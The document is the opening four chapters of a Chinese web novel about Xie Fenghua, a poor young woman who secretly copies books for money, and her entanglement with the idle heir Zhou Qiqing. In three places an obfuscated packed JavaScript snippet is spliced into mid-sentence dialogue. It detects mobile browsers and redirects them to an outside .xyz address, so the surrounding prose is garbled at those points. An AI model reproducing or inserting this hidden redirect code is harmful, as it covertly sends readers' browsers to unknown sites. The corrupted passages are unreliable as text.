《逢华》 1. 第 1 章 明嘉二十六年，华京。 清明雨时，薄雾蒙蒙，淅淅沥沥雨丝编成密网，繁华的华京笼罩在阴雨中，游人撑伞慢行，不辨心绪。 谢逢华拢了拢鸦青短褙，从荷包中倒出一些铜板和几两碎银，一股脑推到书商面前。 “前些日子说好的，那本《说礼》今日给我。” 鹅蛋脸苍白如寒雪，唇薄眉上挑，眼尾尖锐似刀锋。 髻上珠钗还是前些年富商千金们流行的款式，大抵是个家道落魄的主儿。 书商打量她素色的里衫，赔笑道：“谢姑娘，不是我不想给，是已经有人先你一步高价买走了那本书。” “什么？”谢逢华吊起眉眼，怒火烧尽眼底疲惫，“我先于那人交了押金，那时你也说过为我留书，你怎可出尔反尔？” “谢姑娘，并非是我言而无信，那人替周家世子采书，还点名要《说礼》，我不得不给啊。” “我管你什么周家船家的，你既收了我的钱，应了我的需求，反而转手卖给他人，你就是这么做生意的？” 今日本就心情低落，书商再闹这一出，谢逢华胸口憋闷，忍不住放声训斥。 她这一声，引来不少人好奇窥探。 意识到这娘子并非寻常千金好糊弄，书商烦恼之余，面上依旧和和气气：“谢姑娘，那《说礼》印版少，倒了几手的货还能高价出手已是不易，何况咱家也是做小本生意的，总不能为了您的几两碎银得罪皇亲国戚吧？” 谢逢华直直盯着他。 见她没有退让的意思，书商叹气：“实不相瞒，周家的马车一刻钟前方离开，您现在追出去，兴许还赶得及。” 话落，谢逢华抄起桌案上的铜板，转身跑出了书肆。 书商登时松了口气。 目送谢逢华消失门外，店小二凑过来，道：“师傅，那本书有何特别之处，竟连周世子都不惜重金求买？” “不过物以稀为贵罢了，并无特别。” “小的瞧这书年份不长，多印几版也不至于遭人哄抢，怎会‘稀少’呢？”店小二咂舌，“话说那周世子可是全华京出了名的不学无术，怎突然开始搜罗书了？” 书商睨他：“胆子肥了，连皇亲国戚都敢管？” “不敢不敢。”店小二缩了缩脖子，“小的只是觉得，那位姓谢的小娘子真是固执，左不过一本书罢了，何必为此得罪周家。” 书商：“你不认得她？” 店小二努力回忆，摇头：“遥遥见过几面，听口音并非华京人士。” 书商道：“那谢娘子原是来华京投奔家人的，父母双亡，和一个在学堂教书的长兄相依为命。” “如此落魄还坚持买书读，倒是个有志气的娘子。换做往昔，入宫做个女官，混得好些，也足够温饱。”店小二面露同情，摇头叹惋，“可惜今年世道不太平，与其读书，倒不如找个好人家嫁了。” “想嫁人，那得有人敢娶啊。”书商噼里啪啦打着算盘，道，“那谢娘子每次买书都要赊账，一边还一边赊，如今还欠……十两银子。” 算清了账，书商啐声：“兜里没几个铜子儿还挑三拣四，下次见到她，可得躲得远些。” — 两足自是追不上四蹄。 待谢逢华追出来，街上行人熙熙融融，哪里还有马车的影子？ 谢逢华这才意识到，哪有什么周世子收书，不过是店家的调虎离山之计罢了。 虽没追上人，好在钱已要回手，谢逢华也只得自认倒霉，恹恹朝家走去。 到家时，恰逢雨散云收。 推开院门，院中央，几只雄鸡斗志昂扬巡视庭院，颈戴铁链的大黄狗虎视眈眈盯着雄鸡。 一妇人头裹粗麻，戴套袖裹围布，拎着泔水桶，正从前院走来。 瞧见门边的谢逢华，被汗浸湿的脸庞展露笑意：“今日怎这么早就回来了？” “嫂嫂。”谢逢华提裙绕过随意散落的鸡粪，将拎了一路的烧饼递给她，“兄长何时回来？” 用围布擦净手，明玥双手接过烧饼。 许是时候长了，烧饼已冷得差不多了。 她藏在袖中捂了许久，油纸上还留有一点余温。 明玥瞄向谢逢华的衣袖，未曾见到油污，这才松了口气：“今日济民才两堂讲课，算算时辰，或许已经下学了。” 谢逢华颔首，没再多问，转身回了厢房。 这间厢房本是用来堆放柴火的，谢逢华初来华京时，三人挤一间屋子实在尴尬，翌日兄长和嫂嫂便将柴火收拾出来，又添置了床榻、妆台等闺房需用的家具。 嫂嫂翻找出新婚时的被褥，拆洗晾晒，干干净净铺在她的闺房。 房内狭窄，容不下太多物件，但对于谢逢华来说，这便足矣。 谢逢华卸下脏衣，数了荷包里的钱，无声叹息。 还是不够。 桌上笔墨干涸，一本翻了大半的书静静躺在纸张中，窗棂旁，几张巴掌大的纸被钉子牢牢钉在窗沿边。 纸上的日期无异于提醒她明日还书。 今夜怕是无眠了。 谢逢华添了些水，翻开书，借着微弱烛火，继续誊抄书。 “小妹。” 直到门外传来兄长的声音，谢逢华猛然惊醒，急忙将桌上纸张收好，压在书本之下。 简单拾掇了衣裙，谢逢华开了门。 谢怀世肩上衣料微深，衣摆和布鞋上均沾染泥泞。 他站在屋外，视线遥遥落在书案上。 一叶幽火下，成山的书本夹杂着染了墨迹的纸张，寥寥草草地摊在桌案上。 “在读书？” “练字。”谢逢华道。 谢怀世了然，转而又问：“月儿说你今日进城，去了半日？” “一个时辰。”谢逢华纠正道。 “如今战事才平，华京看似安稳，实则鱼龙混杂，你身子不好，那些地方，还是少去为妙。” 谢逢华盯着门槛，一言不发。 谢怀世叹气，从怀中摸出一本陈旧的书本，“这是前日你嫂嫂托我给你买的书，你且看着，若不喜欢，我再想法子换。” 看清封皮字迹，谢逢华惊喜道：“多谢兄长。” 谢怀世摆手：“你我相依为命，这些不过举手之劳，要谢，还是谢你嫂嫂吧。” 前阵子谢逢华不过随口一提，明玥竟记在心上，甚至自掏腰包托兄长采买。 谢逢华抱着书，雨雾寒凉，心头却是暖意荡漾。 晚饭时，明玥端着一盆香喷喷的鱼汤上桌。 谢怀世放下书，凑到桌前：“哪里来的鱼？” 明玥笑道：“我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533597|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河里捞的，院中的水缸里还有几条，赶明儿我腌上，等到过年炖鱼吃。” 谢怀世道：“过两日学堂发了月钱，我买几斤猪肉，和鱼一齐腌上吧。” 兄长和长嫂你一言我一语，琴瑟和鸣，不亦乐乎。 谢逢华插不上话，边吃边琢磨事。 在听到他们聊到自己的婚事时，谢逢华猛得站起身：“我吃好了。” “这孩子……” 明玥无奈，转而想到什么，放下筷子，正色道：“今早我上山时，听到隔壁赵家媳妇和婆婆议论应时，说什么应时年纪太大不好嫁，还道应时克夫无人敢娶，真是过分。” “我早说过了，那些事瞒不住的。”谢怀世朝明玥碗中盛了些鱼汤，“别理他们，莫要因为一群碎嘴子气坏了自己的身子。” “正是桃李年华，无端背上克夫的名声，不就是摆明了欺负你们谢家兄妹吗？”明玥一拍筷子，恼道，“什么克夫，分明就是他们短命，反而全赖在应时头上。” “嘘，小声些，别让应时听到了。” “不行，改天我要去找他们说叨说叨……” 谢逢华将自己关在屋子里，彻底阻绝了外面的风雨之声。 翻开书本的那一刹，油墨香萦绕鼻尖，在此刻，狂跳的心终于得到片刻宁静。 可惜今夜还要抄书，怕是不能彻夜长读了。 “抄书？正经人谁亲自抄，小爷我都是花钱雇人抄。” 同堂学子们一言我一语骂着教书先生的严苛，忽而一本书凌空飞来，重重砸在人群中央。 学子们瞬间噤声，转头朝着罪魁祸首看去。 躺椅上，少年面骨未全长开，倦怠的眉眼间，隐隐能瞧出其父亲的冷锐。 而今那稚色掺着玩味，反多了些少年人的轻狂。 周其卿伸了个懒腰，起身按住说话人的肩，眉眼带笑：“雇谁？” 险些忘了，周世子课上睡觉也被老先生罚抄书了。 学子顿觉不妙，忙赔笑道：“替抄的人多的是，只要钱给够，道边的乞丐都会写字。” 周其卿蹙眉：“宛若蛆虫，不行。” 周世子的字放在全华京挑不出第二，尤其变化多端，时而端正庄雅，时而笔走游龙，字态好与坏全凭这位世子爷的心情。 寻一个既能仿出其形又不失其神的抄书者，无异于大海捞针。 周遭寂静片刻，一人举手：“世子，我认识一人，可仿照他人字迹，只是……” 周其卿抬了抬眼皮：“接着说。” 那人讪笑：“只是那人对所抄之书要求极高，入不了她的眼，她断然不接的。” 闻言，厢房内哄然爆发.浪潮般的嘲笑声。 “入他的眼？做这种活计的有几个铜板吃就不错了，他还挑上了？” “拿钱办事还挑三拣四，倒真是要饭的乞丐还挑食。” “吃了点墨水真以为自己是当朝状元郎？简直倒反天罡。” “……” 替人抄书常见，替人抄书还挑书的，周其卿还是头次听闻。 有点意思。 周其卿道：“那人现在在何处？” “不知。” 见周其卿变了脸色，那人忙补充道：“我们今夜约在江月楼后的巷子交货，周世子若有兴趣，不如一同前往？” 2. 第 2 章 “已经一刻钟了，怎还不来？” 周其卿坐于枝丫间，时不时抬头望月，估算时辰。 章旭其实早已等候得有些烦扰。 但抬头见周世子并无半分不耐，反而越发激动欣喜，面上不好拂了周世子的兴致，便道：“快了，快了。” 周其卿被罚抄一事，府中人尚不知情，今夜出来，也是打着与人习书的名头，找了个“替身”躲在房中习书。 罚抄事小，若让父亲知晓，恐又是一番训斥。 正思虑着，忽而树下的章旭倏然大喊：“来了！” 周其卿猛得坐起身，循着视线望过去。 一人身着夜行衣，面掩白纱，脚踏月色，疾步朝树下行来。 那人身短形弱，喉上无隆起，俨然女子无疑。 只是这身影…… 好似在哪里见过。 在章书欣悦的目光中，那小娘子从身后背的布包中摸出一打纸和一本书，一齐交给他。 不知是无意还是有意，她的声音低哑如重石坠地：“说好的，三十文。” “哎，寥寥几笔的事儿，何必要的这么多？”章旭摆手，随手摘下金灿灿的玉穗子，“呐，这个就抵那三十文了。” “我不要玉穗，我只要钱。” “本少爷的玉穗由金蚕丝织钩，千金不换，给你那是抬举你，少挑三拣四。” “我也会编玉穗，编得比你的破穗子还漂亮，也能买个好价钱。” 见人反悔，她倒也不装了，亮着嗓子道：“你若不想全华京知晓章尚书之子学绩不合格还到处坑蒙拐骗，就赶紧给钱走人！” “你——”章旭脸上骤然憋成猪肝色，忽而想起树上还有一人，又生生压下去，咬牙切齿，“你敢？” “你大可一试，我在华京有的是人。倒是你三两次赖账，怕不是钱都花进了青楼……” “噗。” 周其卿没忍住，倏然笑出声。 谢逢华一激灵，完全没注意到还有第三人存在，脸上白了几分。 周其卿一跃而下，踢了章旭一脚：“把钱给她。” “世子……”章旭讪笑，打眼撞见周其卿凛冽的眸光，咽了咽口水，不情不愿地掏了腰包。 谢逢华扫了他们一眼，一个个铜板数入荷包，悬着的心稳当落入腹中。 章旭愤恨地瞪着她。 周其卿道：“还不走？” “走。”谢逢华重新将布包背在背上，“这就走。” 周其卿挑眉，上前两步，截断她的去路，“没让你走。” 对上周其卿的目光，章旭不可置信地指向自己：“……我吗？” 周其卿扬了扬下巴，“滚。” “哎！”章旭不敢多留，诺诺应声，匆匆离开这是非之地。 待他走远，谢逢华抬头看向高她一头的少年，道：“你也需要抄书吗？一万字十文，不议价。” 周其卿道：“方才我帮了你，可否便宜些？” “再便宜些我就吃不饱饭了。”谢逢华上下打量他，“大富大贵之人，何必为了蝇头小利斤斤计较？” 这话分明是在捧他，可这言里言外，总与那些阿谀奉承的人不一般。 周其卿上前一步，“你知他是章尚书之子，那你可知我是谁？” 墨色披风虽随意，内里的圆领袍却是用的华京最上等的云浮锦，衣摆暗绣祥云，在墨色皂靴之上流动。 双陀革带悬挂的玉饰造型别致，在全华京，这种玉料只在宫中贵人间流传。 谢逢华盯着他，半晌，摇头：“不知。” 周其卿眼底藏着几分笑意：“你可知周家世子周其卿？” 谢逢华抬手扶正面纱，冷漠道：“不知。” 全华京还有不知他周其卿的人？ 连一个小小的尚书都了解得一清二楚，却连他这个赫赫有名的周家世子都不曾听闻。 周其卿有些吃味：“你怎知他是章尚书之子？” 谢逢华道：“猜的。” 周其卿道：“为何不猜我是谁？” 谢逢华眉心微蹙：“你是太子又如何？一万字十文，不议价。” 真是个犟骨。 不经逗。 周其卿道：“我给你三两银，你替我抄《说礼》如何？” 谢逢华眼底微动，正欲应下，忽而又听周其卿道：“后日便要。” 谢逢华额角跳了跳：“《说礼》全文二十余万字，最快也要四五日。” “不议价。” “你——”谢逢华哽噎，转而脑筋一动，道，“书呢？” 周其卿从袖中摸出一本破旧的书本。 谢逢华接过，小心拂去封皮上的浮尘，翻了两页，找到藏在书页中的记号，更加确信这本《说礼》便是自己一直在找的那本。 这么轻易便把书给她了，这位世子当真是个不读书的主儿。 谢逢华按下躁动的心跳，干咳一声，面不改色道：“后日晚间，你来这里取书。” “后日一早我便要。” 周其卿解下腰间玉佩，递给她，“今日走得急，忘记带荷包了，这玉佩就充当定金。” 什么定金，分明是生死状。 拿上这块玉，相当于把半条命交给他，若日后违约，别说是谢逢华，就连兄长和嫂嫂也会被连累。 “贵，不要。”谢逢华道。 “拿着。”周其卿道，“你若跑了，我从哪儿说理去？” 谢逢华依旧不接。 摸遍全身，也只得从耳上摘下一对月白玉珥珰，用丝帕包了，道：“这个抵给你。” 掌中轻飘，掂了掂，没什么分量。 “这是？” “我娘留给我的。”谢逢华拎起布包，“没几个钱。” — 乘着夜色，周其卿飞身下树，堪堪避过值守的家仆，潜足至一窗下，轻敲了三下。 窗扇推开，稚嫩的声音从缝隙中传来：“世子？” “是我。” 周其卿翻窗进屋，边解披风边问道：“父亲可曾来过？” 书童道：“老爷今日公务繁忙，人倒是没来，只托人传过话。” “说了什么？” “大人说，世子读书辛劳，不如明日随大夫人上山为国祈福，权当游玩。” 离华京最近的灵隐寺也需半日路程，以母亲的性子，怕是还要斋戒两日。 拆发冠的手僵了好一会儿，周其卿褪下夜行衣，道：“这几日学正考察功课，不得空，让四妹妹陪母亲去吧。” 周其卿散下乌发，唤下人备水沐浴。 书童为难：“世子，此行是陛下亲自下诏，指名道姓让您随行，就这么拒了，恐怕……” 原来是舅舅下的令啊。 难怪父亲如此焦急。 “去几日？” “三日左右。” 后日回不来，违约又不妥当。 那小娘子的珥珰还在他手中，若交予他人代还，万一路上出了差池，怕是千金再难还情了。 周其卿望向正在叠理衣裳的书童，眼珠一转，道：“阿铭，过来，小爷求你办件事。” — 谢逢华回到家中，推开门，抬眼撞见院中站着一人，险些被门槛绊倒。 出门前分明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533598|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经看到正房熄了灯火，他怎的突然起兴出来赏月了？ 谢逢华腹诽着，偷偷将布包藏在身后。 “兄长。” “去哪儿了？” “睡不着，出门散散心。” 谢怀世年长她七岁，成了教书先生后，不仅人苍老如邻家长叔，说话做事更是越发老成古板。 谢逢华不埋怨他，只是越发思念当年那个带她翻墙吃糖糕的兄长。 谢怀世默然，视线落在她空荡荡的耳朵上，瞳孔微缩：“娘留给你的坠子呢？” 谢逢华摸了摸耳根，不发一言。 谢怀世只知小妹嗜书，甚至不惜变卖首饰换钱贴补家用。 可那珥珰是母亲生前最喜爱的物件，亦是谢怀世对母亲的唯一念想。 谢怀世气愤，却又无可奈何，“你需钱买书，尽管向我要便是，你怎能——” 话到喉间哽咽，当年被岳父母上门羞辱都未有此刻无力。 谢怀世看着风中摇摇欲坠的至亲，宛若得知至亲离世时孤独无助的自己。 谢怀世平生第一次恨自己无能。 凄风萧瑟，谢逢华不禁战栗，壮了壮胆子，上前拉住他的衣袖。 “兄长，只是暂时抵给他，后日便能拿回来了。” 有了那笔钱，就可以给嫂嫂买药材调养身子了。 谢怀世没应声，慢慢摘下衣袖上的手，沉声道：“时候不早了，早些歇息。” 说罢，宛若一具傀儡，硬着身子，一步一顿，转身回了房中。 谢逢华低头看着空落落的掌心，攥紧了包裹。 — 翌日，谢怀世没有像往常般叫她起床，用过早膳，便匆匆出了家门。 兄妹闹别扭又不是一两次了，往往吵得一个生闷气一个偷抹泪，但晚间便又和好如初。 明玥见怪不怪，只重新热了米粥。 看到谢逢华眼底的乌青，明玥险些没端稳盘子，“昨夜黄米又乱叫吵到你了？” 黄米再通人性也只是条数月大的狗，哪里比得上活生生的人更扰心绪。 谢逢华头发凌乱，闷闷不乐趴在桌案上。 明玥拾了根发带，以指为梳，将她柔顺细软的发丝挽起。 “今日还出门吗？” “不出了。” 谢逢华抄了一夜的书，算到现在才不过睡了一个时辰，头疼得想撞墙。 若非想早起些找兄长谈谈，谢逢华也不会起个大早，顾不上梳洗就来寻他们。 可惜还是慢了一步，兄妹擦身而过。 谢怀世连个眼神都没分给她。 明玥将发带系好，碎发拨弄到耳后，惊讶道：“坠子呢？” “抵给别人了。” “那钱呢？” “换书了。” “你读书读糊涂了？” 明玥总算弄清兄妹二人争执的源头，望向谢逢华的眼神里多了些无奈，“抵什么不好，偏偏是娘留给你的遗物，万一弄丢了如何是好？” “不会的，”谢逢华道，“我们约好了的。” 明玥道：“可有凭证？” 谢逢华哑口无言。 “空口无凭，你怎敢替他担保？” “他……他并非那种人。” 周其卿生来骄纵，那种不入流的东西，他瞧不上眼，留在身旁也无用。 周世子名声虽差，恶行也多是混迹青楼酒馆之类的传言，况且他曾经愿意帮她，说明本心良善，没必要用这种玩笑话戏耍她。 澄澈的米汤浮现几滴污浊，谢逢华用筷子搅了搅，随着汤面恢复平静，碗中重新倒映出她疲惫的双眸。 3. 第 3 章 晚时，兄长归家。 谢逢华自知做错了事，无颜面对，只待兄长用过晚膳出门散步，才敢悄悄溜进庖屋，草草吃几口温热的烧饼果腹。 第三日，明玥如往日般早早起床，为家人准备早膳。 谢怀世辗转一夜，天才亮便睁开了眼，直到发妻唤他吃饭，这才如梦初醒，起床更衣。 见谢怀世依旧没有去叫谢逢华起床，明玥叹气：“已经两日了，你还要和应时赌气吗？” 谢怀世别过脸：“没有赌气。” 明玥一副了然于胸的模样：“宁愿每日多在外面待半个时辰，也不肯叫自己的妹妹起床用膳，你还要嘴硬到什么时候？” “你总偏心她，”谢怀世道，“她就是被你宠坏了，才变得如今这般不分是非。” 明玥骤然拉下脸，“砰”的一声将碗重重摔在桌上，“谢怀世！你再说一遍？” “是我宠坏了她。” 识时务者为俊杰，谢怀世利落改口，讨好般拽了拽她的腰带，“月儿莫气，我这就去叫应时用早膳。” 眼瞧着谢怀世起身出去，明玥这才松了眉，冷哼一声，回身收拾灶台。 不多时，门槛处骤然传来一声闷响。 明玥草草擦了手，探头张望。 谢怀世从地上爬起，脸色苍白，手指着门外厢房，哆嗦着说不出话。 明玥心中一沉：“怎么了？” “应时……应时……” 谢怀世几番踉跄，在明玥搀扶下才勉强站稳，身形摇摇欲坠，好似随时都会崩溃。 他口中喃喃，紧攥着明玥的手，气若游丝，好半晌才拼凑处一句完整的话： “应时……应时不见了！” 素日，明玥卯时起床烧饭，大约辰时谢怀世前往学堂，谢逢华便常于这两个时辰间起床，早不过卯，晚不过辰。 而今日，谢逢华的被褥一片冰凉。 桌案上的书纸笔都还在，衣裳也都完好装在箱中，显然并不是离家出走。 谢逢华懂事且稳重，明玥相信谢逢华做不出这种任性的事。 唯一的亲人不告而别，谢怀世乱了阵脚，在他准备挨家挨户上门寻人前，明玥拦下了他。 “东西还在，兴许只是出门透气，晚会儿就回来了。”明玥道，“你先去学堂，我去附近找找。” 谢怀世哪里还有教书育材的心思，慌不择路，念叨着要去寻人。 明玥安抚着，好说歹说才将人劝走。 谢怀世走后，明玥在谢逢华的闺房搜罗一圈，贴在窗棂上的纸条吸引了她的注意。 明玥细细瞧过，看着纸上密密麻麻的时间和熟悉的人名，心下顿然生了不好的预感。 这些日子，她到底在做些什么？ — 周铭打点好府中事宜，算了算时辰，估摸着差不多时辰了，带上银子和裹着珥珰的帕子，趁着天尚清明，匆匆出了门。 才出了院，迎面遇上活泼可爱的桃粉少女。 “小铭子？” 周铭本就心虚，猝不及防一惊，看清来人，松了口气，施礼道：“四小姐。” 四小姐乃是二娘子膝下长女，自幼便随周其卿玩闹，性格开朗，活泼好动。 与周世子一样，书读的不多，该玩的倒是一样都没落下。 周燕飞瞧见他手中的钱袋和帕子，问道：“这是什么？” 周铭：“世子托我给一个小娘子送东西。” 周燕飞夺过帕子，“小娘子？是何模样？” 仗着周府的偏爱，全华京除了世子，便是这位四小姐最为横行霸道。 周铭哪里敢夺，如实道：“奴才不知，只是世子临行前嘱咐过奴才，世子与那小娘子有约在先，务必将此两物交由那位娘子。” 周燕飞将那白玉坠举起，对光比划好半晌，“啧”了声，道：“好廉价的玩意，怕不是那娘子对兄长芳心暗许，兄长恪守君子之道，以此婉拒那人。” “四小姐言之有理。” 周铭奉承着，抬首瞧了眼日头，急道：“四小姐，时候不早了，若误了时辰，世子那边又该责备奴才了。” “急什么，有本小姐护着你。”周燕飞见帕子上灵动的小燕子，甚合心意。 这坠子虽素，样式却素雅。周燕飞喜欢得紧，面上又不敢光明正大的私吞，想了想，道：“那地方在哪儿？本小姐替你送去。” 周铭见她不肯归还帕子，心下了然，“四小姐，您该去习书了。” 周燕飞竖眉：“既是兄长做的事，本小姐还能动手脚不成？” “四小姐……”周铭欲搬出世子压她，忽而有侍从朝他们走来。 周铭认得他，是周老爷的近身奴才。 这个时辰宰相应在书房处理公文，怎有闲心派人来院中闲逛了？ “周铭，老爷让您去书房一趟。” 余光瞥见池塘巨石边的一抹暗色，周铭若再不知当下状况，愧对跟随世子的十余年。 这招调虎离山真是被这对父女用得透彻，只是未免太过大材小用。 周铭叹气，在周燕飞得意的目光中，认命般将东西尽数交给她。 临走前，周铭依旧不放心，低声嘱托道：“一定要亲手交到那小娘子手中。” 周铭离开后，周燕飞掂了掂钱袋，嘟哝：“真轻。” “燕儿。” 宰相周惕守襕袍裹身，身后还跟着二夫人。 “爹爹，阿娘。”周燕飞欠身施礼，小跑迎上去，“您怎么在这里？” 周惕守摸摸她的脑袋，视线落在她手中的钱袋和珥珰上，“这白玉坠子样子倒是别致，未曾见你戴过。” 周燕飞欲解释，二夫人忽而接过那坠子，嗔怪道：“老爷您忘了？上次燕儿过生辰，世子只顾着读书，忘了备礼，这小玩意想必是世子送于燕儿作赔礼罢。” 周惕守的脸色稍有和缓，道：“卿儿有心了。” “才不是，这是有人——” “燕儿，”二夫人厉声，打断她的辩解，“今日的书都背完了吗？” “罢了，不过是个孩子，想玩便去玩吧。”周惕守摆手，眼角的皱纹拦不住溢出来的宠溺。 “老爷，就是你们宠着燕儿，燕儿才变得如今这般贪玩。”二夫人埋怨道，“处处不如世子出类拔萃，倘若出嫁，是要被夫君厌恶的。” 周惕守道：“我周家的子女，谁敢说一句不是？” 二夫人凑近周惕守，低声在他耳畔说了几句。 周惕守蹙眉：“当真？” 二夫人笃定：“千真万确，妾身亲耳听到的。” 此话一出，周惕守彻底没了心情，抛下母女二人，匆匆朝着书房走去。 周惕守一走，周燕飞憋不住心事，道：“娘，这坠子分明是外人的，你怎说是兄长给的？” “兄长才不会送如此廉价的礼物。” 二夫人望着周惕守的身影消失在尽头，不禁松了口气。 听完周燕飞的辩驳，二夫人好看的眉眼微微拧起，“既是外人的，那便物归原主，莫要再争论这些有的没的了。” “娘！您就不好奇那人是谁吗？” “燕儿！”二夫人厉声道，“知道了对那人有何好处？对你的世子哥哥又有什么好处？” 周燕飞嗫嚅道：“可是……” 不是什么人都配得上她的世子哥哥。 二夫人将坠子重新裹好，放入钱袋中，还给周燕飞，“按你世子哥哥说的做——把东西还给那位小娘子，一个时辰之内，回来读书。” 周燕飞撇撇嘴，转身跑了出去。 — 谢怀世第三次讲错字，被学子指出时，心下更是没由得烦躁不安。 “昨夜没睡好？”崔历拿走本属于自己的书，“讲错课了都不知道。” 谢怀世置若罔闻，收拾了书案，连书笔都来不及放好，留下一句“替我讲课”便急匆匆冲出门去。 崔历愕然于谢怀世的行动之利落，可当他反应过来下堂课是谢怀世的礼文课，气得跳脚：“我是教算学的啊！” 谢怀世先拜访了周围邻居，皆得到同一个回应：“不知。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533599|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明玥亦不在家中，在灶上留了纸条，勒令他在家接应。 院中的大黄狗汪汪唤着，谢怀世在外搜了几圈无果，抱着最后一丝希冀，回到家中，期盼妹妹和妻子一同归家。 天色渐暗，连院中都没了犬吠，谢逢华依旧音信全无。 谢怀世等不下去了，点了灯笼，打算去别处找找。 就在这时，门外传来柴门大开的声音。 明玥乘着风，摇摇晃晃跑进院内。 “你在就好了。” 见到他，明玥松了口气，“我找到应时了，但是她不愿回来，我实在劝不动她，只能先回来寻你。” “她在哪儿？” “城中一棵榕树下。” 明玥说，她看到谢逢华屋内抄写的纸条，纸上记载的人名大多她都不认识，但是她认识章尚书，亦识得章旭。 明玥进了城，以故友之女的身份拜访了章尚书，找到了正吃酒的章旭。 几番套话，明玥才知谢逢华竟做些替人抄书的生意。 问到了他们平时交易的地方，寻到谢逢华时，已过了午时。 “你在这里做什么？” 谢逢华躲在树下，脸色苍白如鬼魅，气喘吁吁吐出两个字：“等人。” 明玥要拽她走，谢逢华不知哪来的力气，挣脱她的桎梏。 “我……我必须要拿回来……”谢逢华红着眼眶，哆哆嗦嗦道，“那是娘留给我的……” “早知是娘留给你的，你当初为何要抵给他？” 明玥早已累得一身臭汗，闻言心中更是憋火，气愤喊道：“谢逢华，你不信我们，你偏信一个素不相识的男人，读的书都读狗肚子里去了？” “我……”谢逢华颓然垂首，轻轻拽了拽明玥的衣袖，低声哀求道，“再等等，他或许会来。” 明玥道：“你凭什么觉得他会来？” 谢逢华避而不谈，只是苦苦哀求着，“嫂嫂，再等等。” 这一等，明玥陪她从骄阳正盛等到夕阳西下。 直到风中传来潮湿的气味，明玥意识到不妙，又劝她回去。 谢逢华抱着小小的包袱，倔强地摇了摇头。 整个人像是陷入青石砖中，明玥拽不动她，又怕下雨浇坏了她本就孱弱的身子，迫不得已，只好先回家报平安。 “真是个混账。” 谢怀世听完来龙去脉，拳头上的青筋根根分明，嘴上骂着，脚下的步子越发急促。 明玥不言，一路指引着方向。 行至半路，雨水倾盆而下。 雨雾迷失了前路，模糊了街景，孤灯在磅礴大雨中孤立无援。 明玥一时辨不清方向，迟疑之间，慢下了步伐。 谢怀世将妻子护在臂弯中，目光紧张地四下张望。 忽然，他逃出雨伞保护，冲入银白的雨幕中。 “济民！”明玥忙撑伞跟上去。 一步，两步…… 幕帘拉开，将一树两人推到明玥眼前。 谢逢华浑身湿透，往日一尘不染的发丝此时乱糟糟黏在苍白如雪的脸颊上。 她被谢怀世狼狈拽起，怀中仍紧紧抱着那个两只手掌大的包袱。 谢怀世扬手，明玥来不及阻拦，那一巴掌没有丝毫犹豫，重重落在他自己的脸上。 “你要恨我，就直接拿刀杀了我啊，折腾你自己做什么？” 一阵疾风掠过，谢逢华猝不及防被推了个趔趄。 明玥也顾不得拦谢怀世，撑着伞，将谢逢华从地上扶起。 雨水骤停，谢逢华迷惘地看了看头顶的伞，又看了看眼前高大的男人，不禁打了个寒颤。 分不清是雨水还是泪水，就这么湿哒哒淋湿了整张脸。 “兄长……” 谢逢华抱着包袱，委屈得像是好心分享一颗喜欢的糖果，却被人偷走了整袋糖果的小孩。 雨水浇透了她的眼眶，谢逢华死死揪着他的衣袖，声音哽咽： “人是会变的，对不对？” 他从前……分明不是这般的人。 4. 第 4 章 谢逢华病倒了。 一连几日高烧不退，苦涩的草药不知滚了几次喉咙，浑浑噩噩躺了几天，依旧半分力气也无。 混沌中，谢逢华隐约窥见熟悉的身影在床边徘徊，下意识探手，虚虚揪住一叶衣角。 “爹，娘……” 梦中的爹娘对视一眼，轻轻握住她冰凉的手。 “……” 明玥将药碗洗干净，顺便将晾晒几天的衣裳收了，回房，谢怀世仍旧坐在床边。 这些时日，谢怀世几乎不眠不休，固执地守在妹妹身边。 犹记得谢怀世曾言，当年谢逢华尚在襁褓时，年幼的谢怀世便等在摇篮边，他说这样妹妹第一眼就能看到他。 明玥从箱中扯了件披风，披在他身上，“时候不早了，你明日还有早课，去洗把脸歇歇，这里有我看着。” 明暗交错间，谢怀世眸中晦暗不明，“倘若当年我未曾离家，谢家或许不会没落，你们或许不必受这些苦。” 说着，他一手拉起明玥的手，一手捧起谢逢华的手，声音隐隐发颤，“你瞧，你瞧，这两只手，何曾沾过阳春水？怪我当年一时任性，背井离乡，连带着你跟我吃了多少苦，如今至亲离我们而去，我却连一本书钱都让妹妹替我操心……” 明玥静静听完他的哭诉，眼底似有回忆涌动。 说不清懊悔还是耽于现状，亦或从她决定违背婚约和谢怀世逃到华京时，结局便已注定。 好半晌，明玥拍拍腰上颤抖的肩膀，道：“早些歇息罢，明日让学子们瞧见你这幅模样，还以为是素未谋面的师娘折辱你了。” 